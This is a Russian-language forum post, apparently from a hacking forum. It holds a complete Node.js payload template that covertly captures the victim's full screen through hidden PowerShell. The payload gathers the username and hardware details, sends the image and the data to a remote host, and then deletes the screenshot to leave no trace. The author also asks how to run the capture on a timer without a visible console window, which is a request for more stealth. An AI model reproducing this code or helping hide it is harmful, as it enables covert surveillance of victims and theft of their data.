В общем суть такая, беру скриншот на ноде JS. Соответсвенно через обычную ноду тебе просто так не дадут это сделать. Я же делаю скриншот через PS.
Но при этом у юзера спавнится Терминал какого то хера, когда на 10-ке нету.
Вот темплейт команды который выполняется у юзера:
JavaScript: Скопировать в буфер обмена
Я бы хотел бы делать скриншот каждое какое то определенное время, но меня спавн консоли напрягает. Есть какие то варианы ничего не догружая и использовать тот же рантайм ноды?
Но при этом у юзера спавнится Терминал какого то хера, когда на 10-ке нету.
Вот темплейт команды который выполняется у юзера:
JavaScript: Скопировать в буфер обмена
Code:
module.exports = function generateScript(storedString, uuid) {
return `
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');
const os = require('os');
const crypto = require('crypto');
const http = require('http');
const https = require('https');
const url = require('url');
function generateUniqueFilename() {
return \`screenshot-\${crypto.randomUUID()}.png\`;
}
const tempDir = os.tmpdir();
const screenshotPath = path.join(tempDir, generateUniqueFilename());
const psScript = \`
Add-Type -AssemblyName System.Windows.Forms;
Add-Type -AssemblyName System.Drawing;
$bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height);
$graphics = [Drawing.Graphics]::FromImage($bitmap);
$graphics.CopyFromScreen([System.Windows.Forms.SystemInformation]::VirtualScreen.Left, [System.Windows.Forms.SystemInformation]::VirtualScreen.Top, 0, 0, $bitmap.Size);
$bitmap.Save('\${screenshotPath}', [System.Drawing.Imaging.ImageFormat]::Png);
$graphics.Dispose();
$bitmap.Dispose();
\`;
function createScreenshot() {
return new Promise((resolve, reject) => {
const psCommand = \`powershell -WindowStyle Hidden -Command "\${psScript.replace(/\\n/g, ' ')}"\`;
exec(psCommand, (error, stdout, stderr) => {
if (error) {
reject(\`Error: \${stderr}\`);
} else {
resolve(stdout);
}
});
});
}
function getGPUInfo() {
return new Promise((resolve, reject) => {
const psCommand = \`powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"\`;
exec(psCommand, (error, stdout, stderr) => {
if (error) {
reject(\`Error: \${stderr}\`);
} else {
resolve(stdout.trim());
}
});
});
}
function convertToBase64(filePath) {
return new Promise((resolve, reject) => {
fs.readFile(filePath, (err, data) => {
if (err) {
reject(err);
} else {
resolve(data.toString('base64'));
}
});
});
}
function getSystemInfo() {
const cpus = os.cpus();
const totalMemoryGB = (os.totalmem() / (1024 ** 3)).toFixed(2);
const freeMemoryGB = (os.freemem() / (1024 ** 3)).toFixed(2);
const usedMemoryGB = (totalMemoryGB - freeMemoryGB).toFixed(2);
return {
username: os.userInfo().username,
osType: os.type(),
osRelease: os.release(),
totalMemoryGB: totalMemoryGB,
usedMemoryGB: usedMemoryGB,
freeMemoryGB: freeMemoryGB,
cpuModel: cpus[0].model,
cpuSpeed: cpus[0].speed,
cpuCores: cpus.length,
};
}
function sendPostRequest(urlString, data, contentType = 'application/json') {
return new Promise((resolve, reject) => {
const parsedUrl = url.parse(urlString);
const isHttps = parsedUrl.protocol === 'https:';
const options = {
hostname: parsedUrl.hostname,
port: parsedUrl.port,
path: parsedUrl.path,
method: 'POST',
headers: {
'Content-Type': contentType,
'Content-Length': Buffer.byteLength(data),
},
};
const req = (isHttps ? https : http).request(options, (res) => {
let responseBody = '';
res.on('data', (chunk) => {
responseBody += chunk;
});
res.on('end', () => {
resolve(responseBody);
});
});
req.on('error', (e) => {
reject(\`Problem with request: \${e.message}\`);
});
req.write(data);
req.end();
});
}
async function sendScreenshot() {
try {
await createScreenshot();
const base64Image = await convertToBase64(screenshotPath);
const systemInfo = getSystemInfo();
const gpuInfo = await getGPUInfo();
systemInfo.gpu = gpuInfo;
const imageUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.png\`;
const jsonUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.json\`;
await sendPostRequest(imageUrl, base64Image, 'application/octet-stream');
await sendPostRequest(jsonUrl, JSON.stringify(systemInfo), 'application/octet-stream');
fs.unlink(screenshotPath, (err) => {
if (err) {
console.error('Error deleting screenshot:', err);
} else {
console.log('Screenshot deleted successfully');
}
});
} catch (error) {
console.error('Error:', error);
}
}
sendScreenshot();
`;
}
Я бы хотел бы делать скриншот каждое какое то определенное время, но меня спавн консоли напрягает. Есть какие то варианы ничего не догружая и использовать тот же рантайм ноды?